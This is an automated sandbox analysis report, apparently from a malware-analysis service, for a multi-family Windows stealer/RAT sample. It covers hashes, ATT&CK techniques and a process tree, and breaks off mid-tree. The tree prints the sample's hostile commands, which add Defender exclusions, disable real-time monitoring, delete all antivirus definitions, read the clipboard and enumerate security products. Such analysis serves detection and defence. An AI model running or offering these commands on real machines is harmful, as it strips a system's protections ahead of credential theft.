6bf722a931df09c0ad86b4b985b1c75c5bd335bb6f1d5b01960cfb3bf32a488c

Analysis

max time kernel
150s
max time network
114s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/08/2026, 00:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
Size 7.6MB
Sample260822-aq2dpsek6x
SHA256 6bf722a931df09c0ad86b4b985b1c75c5bd335bb6f1d5b01960cfb3bf32a488c
MD5 ecceea680812e28435eb64d11fa773d7
SHA1 c7223305e271c975096056ee7011e1cdbd72ccdb
SHA512 6a6f7075fe09f0e453b80ccdc6ec4be1f1d5fbee7b23e9841a03f32ef3e4c826211e859edf9d4840ce84781425dfccaa993df216a73367a63579237c3e7c1534
SSDEEP 196608:HLHY2wfI9jUCzi4H1qSiXLGVi7DMgpZ3Q0VMwICEc/jT:YIHziK1piXLGVE4Ue0VJf
TLSH
T18B863301AA8019F5F6BBDA3DC8968019C472376217A0DAFB072CD27A4D735FA5C36763
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection defense_evasion discovery execution spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
4944	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2448	powershell.exe
2156	powershell.exe
1256	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
2156	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
3580	cmd.exe
4988	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5888	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
13	discord.com

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 4 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4992	tasklist.exe
3524	tasklist.exe
5740	tasklist.exe
3140	tasklist.exe

UPX packed file 55 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000c00000001c512-21.dat	upx
behavioral2/memory/4332-25-0x00007FF908D20000-0x00007FF909383000-memory.dmp	upx
behavioral2/files/0x000d00000001c505-27.dat	upx
behavioral2/memory/4332-30-0x00007FF91C050000-0x00007FF91C077000-memory.dmp	upx
behavioral2/memory/4332-32-0x00007FF91DED0000-0x00007FF91DEDF000-memory.dmp	upx
behavioral2/files/0x000c00000001c510-31.dat	upx
behavioral2/files/0x000d00000001c508-37.dat	upx
behavioral2/memory/4332-40-0x00007FF91C020000-0x00007FF91C04B000-memory.dmp	upx
behavioral2/files/0x000d00000001c504-41.dat	upx
behavioral2/memory/4332-43-0x00007FF91C000000-0x00007FF91C019000-memory.dmp	upx
behavioral2/memory/4332-46-0x00007FF91BFD0000-0x00007FF91BFF5000-memory.dmp	upx
behavioral2/files/0x000c00000001c516-45.dat	upx
behavioral2/memory/4332-48-0x00007FF90FBA0000-0x00007FF90FD1F000-memory.dmp	upx
behavioral2/files/0x000d00000001c50a-49.dat	upx
behavioral2/files/0x000c00000001c515-51.dat	upx
behavioral2/memory/4332-54-0x00007FF91D460000-0x00007FF91D46D000-memory.dmp	upx
behavioral2/files/0x000c00000001c50c-55.dat	upx
behavioral2/files/0x000c00000001c511-59.dat	upx
behavioral2/memory/4332-58-0x00007FF91BF70000-0x00007FF91BFA4000-memory.dmp	upx
behavioral2/memory/4332-62-0x00007FF91BEA0000-0x00007FF91BF6E000-memory.dmp	upx
behavioral2/memory/4332-61-0x00007FF908D20000-0x00007FF909383000-memory.dmp	upx
behavioral2/files/0x000c00000001c50f-64.dat	upx
behavioral2/memory/4332-66-0x00007FF9087E0000-0x00007FF908D13000-memory.dmp	upx
behavioral2/files/0x000d00000001c507-68.dat	upx
behavioral2/memory/4332-71-0x00007FF91B280000-0x00007FF91B294000-memory.dmp	upx
behavioral2/memory/4332-73-0x00007FF91D330000-0x00007FF91D33D000-memory.dmp	upx
behavioral2/files/0x000c00000001c517-74.dat	upx
behavioral2/memory/4332-77-0x00007FF915080000-0x00007FF915133000-memory.dmp	upx
behavioral2/memory/4332-78-0x00007FF90FBA0000-0x00007FF90FD1F000-memory.dmp	upx
behavioral2/memory/4332-76-0x00007FF91BFD0000-0x00007FF91BFF5000-memory.dmp	upx
behavioral2/files/0x000d00000001c509-70.dat	upx
behavioral2/memory/4332-65-0x00007FF91C050000-0x00007FF91C077000-memory.dmp	upx
behavioral2/memory/4332-52-0x00007FF91BFB0000-0x00007FF91BFC9000-memory.dmp	upx
behavioral2/files/0x000d00000001c50b-44.dat	upx
behavioral2/memory/4332-121-0x00007FF91BF70000-0x00007FF91BFA4000-memory.dmp	upx
behavioral2/memory/4332-106-0x00007FF908D20000-0x00007FF909383000-memory.dmp	upx
behavioral2/memory/4332-117-0x00007FF9087E0000-0x00007FF908D13000-memory.dmp	upx
behavioral2/memory/4332-116-0x00007FF91BEA0000-0x00007FF91BF6E000-memory.dmp	upx
behavioral2/memory/4332-197-0x00007FF908D20000-0x00007FF909383000-memory.dmp	upx
behavioral2/memory/4332-203-0x00007FF90FBA0000-0x00007FF90FD1F000-memory.dmp	upx
behavioral2/memory/4332-239-0x00007FF91B280000-0x00007FF91B294000-memory.dmp	upx
behavioral2/memory/4332-229-0x00007FF91DED0000-0x00007FF91DEDF000-memory.dmp	upx
behavioral2/memory/4332-228-0x00007FF91C050000-0x00007FF91C077000-memory.dmp	upx
behavioral2/memory/4332-240-0x00007FF91D330000-0x00007FF91D33D000-memory.dmp	upx
behavioral2/memory/4332-241-0x00007FF915080000-0x00007FF915133000-memory.dmp	upx
behavioral2/memory/4332-238-0x00007FF9087E0000-0x00007FF908D13000-memory.dmp	upx
behavioral2/memory/4332-237-0x00007FF91BEA0000-0x00007FF91BF6E000-memory.dmp	upx
behavioral2/memory/4332-233-0x00007FF90FBA0000-0x00007FF90FD1F000-memory.dmp	upx
behavioral2/memory/4332-227-0x00007FF908D20000-0x00007FF909383000-memory.dmp	upx
behavioral2/memory/4332-236-0x00007FF91BF70000-0x00007FF91BFA4000-memory.dmp	upx
behavioral2/memory/4332-235-0x00007FF91D460000-0x00007FF91D46D000-memory.dmp	upx
behavioral2/memory/4332-234-0x00007FF91BFB0000-0x00007FF91BFC9000-memory.dmp	upx
behavioral2/memory/4332-232-0x00007FF91BFD0000-0x00007FF91BFF5000-memory.dmp	upx
behavioral2/memory/4332-231-0x00007FF91C000000-0x00007FF91C019000-memory.dmp	upx
behavioral2/memory/4332-230-0x00007FF91C020000-0x00007FF91C04B000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 25 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2192	cmd.exe
3432	cmd.exe
244	cmd.exe
3312	cmd.exe
4472	cmd.exe
3636	cmd.exe
936	cmd.exe
1100	cmd.exe
4380	cmd.exe
4868	cmd.exe
2408	cmd.exe
3068	cmd.exe
4316	cmd.exe
4344	cmd.exe
4588	cmd.exe
2696	cmd.exe
4892	cmd.exe
4468	cmd.exe
4648	cmd.exe
1792	cmd.exe
568	cmd.exe
5420	cmd.exe
4916	cmd.exe
6004	cmd.exe
3252	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5552	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1748	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 38 IoCs

pid	Process
2448	powershell.exe
2448	powershell.exe
2156	powershell.exe
2156	powershell.exe
2156	powershell.exe
2448	powershell.exe
2908	WMIC.exe
2908	WMIC.exe
2908	WMIC.exe
2908	WMIC.exe
3464	powershell.exe
3464	powershell.exe
4988	powershell.exe
4988	powershell.exe
3464	powershell.exe
4988	powershell.exe
3576	WMIC.exe
3576	WMIC.exe
3576	WMIC.exe
3576	WMIC.exe
2524	WMIC.exe
2524	WMIC.exe
2524	WMIC.exe
2524	WMIC.exe
4168	WMIC.exe
4168	WMIC.exe
4168	WMIC.exe
4168	WMIC.exe
1256	powershell.exe
1256	powershell.exe
1256	powershell.exe
5552	WMIC.exe
5552	WMIC.exe
5552	WMIC.exe
5552	WMIC.exe
5168	powershell.exe
5168	powershell.exe
5168	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2448	powershell.exe
Token: SeDebugPrivilege	2156	powershell.exe
Token: SeDebugPrivilege	4992	tasklist.exe
Token: SeIncreaseQuotaPrivilege	2908	WMIC.exe
Token: SeSecurityPrivilege	2908	WMIC.exe
Token: SeTakeOwnershipPrivilege	2908	WMIC.exe
Token: SeLoadDriverPrivilege	2908	WMIC.exe
Token: SeSystemProfilePrivilege	2908	WMIC.exe
Token: SeSystemtimePrivilege	2908	WMIC.exe
Token: SeProfSingleProcessPrivilege	2908	WMIC.exe
Token: SeIncBasePriorityPrivilege	2908	WMIC.exe
Token: SeCreatePagefilePrivilege	2908	WMIC.exe
Token: SeBackupPrivilege	2908	WMIC.exe
Token: SeRestorePrivilege	2908	WMIC.exe
Token: SeShutdownPrivilege	2908	WMIC.exe
Token: SeDebugPrivilege	2908	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2908	WMIC.exe
Token: SeRemoteShutdownPrivilege	2908	WMIC.exe
Token: SeUndockPrivilege	2908	WMIC.exe
Token: SeManageVolumePrivilege	2908	WMIC.exe
Token: 33	2908	WMIC.exe
Token: 34	2908	WMIC.exe
Token: 35	2908	WMIC.exe
Token: 36	2908	WMIC.exe
Token: SeDebugPrivilege	3524	tasklist.exe
Token: SeDebugPrivilege	3464	powershell.exe
Token: SeDebugPrivilege	5740	tasklist.exe
Token: SeDebugPrivilege	4988	powershell.exe
Token: SeIncreaseQuotaPrivilege	2908	WMIC.exe
Token: SeSecurityPrivilege	2908	WMIC.exe
Token: SeTakeOwnershipPrivilege	2908	WMIC.exe
Token: SeLoadDriverPrivilege	2908	WMIC.exe
Token: SeSystemProfilePrivilege	2908	WMIC.exe
Token: SeSystemtimePrivilege	2908	WMIC.exe
Token: SeProfSingleProcessPrivilege	2908	WMIC.exe
Token: SeIncBasePriorityPrivilege	2908	WMIC.exe
Token: SeCreatePagefilePrivilege	2908	WMIC.exe
Token: SeBackupPrivilege	2908	WMIC.exe
Token: SeRestorePrivilege	2908	WMIC.exe
Token: SeShutdownPrivilege	2908	WMIC.exe
Token: SeDebugPrivilege	2908	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2908	WMIC.exe
Token: SeRemoteShutdownPrivilege	2908	WMIC.exe
Token: SeUndockPrivilege	2908	WMIC.exe
Token: SeManageVolumePrivilege	2908	WMIC.exe
Token: 33	2908	WMIC.exe
Token: 34	2908	WMIC.exe
Token: 35	2908	WMIC.exe
Token: 36	2908	WMIC.exe
Token: SeDebugPrivilege	3140	tasklist.exe
Token: SeIncreaseQuotaPrivilege	2448	powershell.exe
Token: SeSecurityPrivilege	2448	powershell.exe
Token: SeTakeOwnershipPrivilege	2448	powershell.exe
Token: SeLoadDriverPrivilege	2448	powershell.exe
Token: SeSystemProfilePrivilege	2448	powershell.exe
Token: SeSystemtimePrivilege	2448	powershell.exe
Token: SeProfSingleProcessPrivilege	2448	powershell.exe
Token: SeIncBasePriorityPrivilege	2448	powershell.exe
Token: SeCreatePagefilePrivilege	2448	powershell.exe
Token: SeBackupPrivilege	2448	powershell.exe
Token: SeRestorePrivilege	2448	powershell.exe
Token: SeShutdownPrivilege	2448	powershell.exe
Token: SeDebugPrivilege	2448	powershell.exe
Token: SeSystemEnvironmentPrivilege	2448	powershell.exe

Suspicious use of WriteProcessMemory 57 IoCs

description	pid	Process	procid_target
PID 5844 wrote to memory of 4332	5844	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	89
PID 4332 wrote to memory of 4316	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	90
PID 4332 wrote to memory of 936	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	91
PID 4316 wrote to memory of 2448	4316	cmd.exe	94
PID 936 wrote to memory of 2156	936	cmd.exe	95
PID 4332 wrote to memory of 1792	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	97
PID 4332 wrote to memory of 1100	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	96
PID 4332 wrote to memory of 568	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	100
PID 4332 wrote to memory of 3252	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	103
PID 4332 wrote to memory of 3580	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	102
PID 4332 wrote to memory of 4344	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	104
PID 4332 wrote to memory of 3432	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	107
PID 4332 wrote to memory of 3472	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	110
PID 4332 wrote to memory of 2192	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	108
PID 1100 wrote to memory of 4992	1100	cmd.exe	114
PID 1792 wrote to memory of 3524	1792	cmd.exe	115
PID 568 wrote to memory of 2908	568	cmd.exe	116
PID 4344 wrote to memory of 4492	4344	cmd.exe	117
PID 3472 wrote to memory of 3464	3472	cmd.exe	118
PID 3580 wrote to memory of 4988	3580	cmd.exe	119
PID 3432 wrote to memory of 5664	3432	cmd.exe	120
PID 3252 wrote to memory of 5740	3252	cmd.exe	121
PID 2192 wrote to memory of 1748	2192	cmd.exe	122
PID 4332 wrote to memory of 5420	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	124
PID 5420 wrote to memory of 2068	5420	cmd.exe	126
PID 4332 wrote to memory of 4380	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	127
PID 4332 wrote to memory of 4588	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	129
PID 3464 wrote to memory of 1000	3464	powershell.exe	131
PID 4380 wrote to memory of 5720	4380	cmd.exe	132
PID 4588 wrote to memory of 5380	4588	cmd.exe	134
PID 4332 wrote to memory of 244	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	135
PID 4332 wrote to memory of 4868	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	137
PID 4868 wrote to memory of 1028	4868	cmd.exe	139
PID 244 wrote to memory of 5156	244	cmd.exe	140
PID 4332 wrote to memory of 2696	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	141
PID 4332 wrote to memory of 3312	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	143
PID 2696 wrote to memory of 3140	2696	cmd.exe	145
PID 3312 wrote to memory of 1148	3312	cmd.exe	146
PID 4332 wrote to memory of 2408	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	147
PID 2408 wrote to memory of 3552	2408	cmd.exe	149
PID 4332 wrote to memory of 4472	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	151
PID 4472 wrote to memory of 4968	4472	cmd.exe	153
PID 936 wrote to memory of 4944	936	cmd.exe	154
PID 4332 wrote to memory of 4892	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	155
PID 4892 wrote to memory of 5888	4892	cmd.exe	157
PID 4332 wrote to memory of 3068	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	158
PID 3068 wrote to memory of 3576	3068	cmd.exe	160
PID 4332 wrote to memory of 3636	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	161
PID 3636 wrote to memory of 2524	3636	cmd.exe	163
PID 4332 wrote to memory of 4468	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	164
PID 4468 wrote to memory of 4168	4468	cmd.exe	166
PID 4332 wrote to memory of 4916	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	167
PID 4916 wrote to memory of 1256	4916	cmd.exe	169
PID 4332 wrote to memory of 4648	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	170
PID 4648 wrote to memory of 5552	4648	cmd.exe	172
PID 4332 wrote to memory of 6004	4332	2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	173
PID 6004 wrote to memory of 5168	6004	cmd.exe	175

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5720	attrib.exe
1028	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5844
- C:\Users\Admin\AppData\Local\Temp\2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4316
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-21_ecceea680812e28435eb64d11fa773d7_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:936
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2156
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:4944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1100
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1792
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:568
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:3580
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3252
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4344
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3432
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:5664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2192
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:1748
- - C:\Windows\system32\cmd.exe
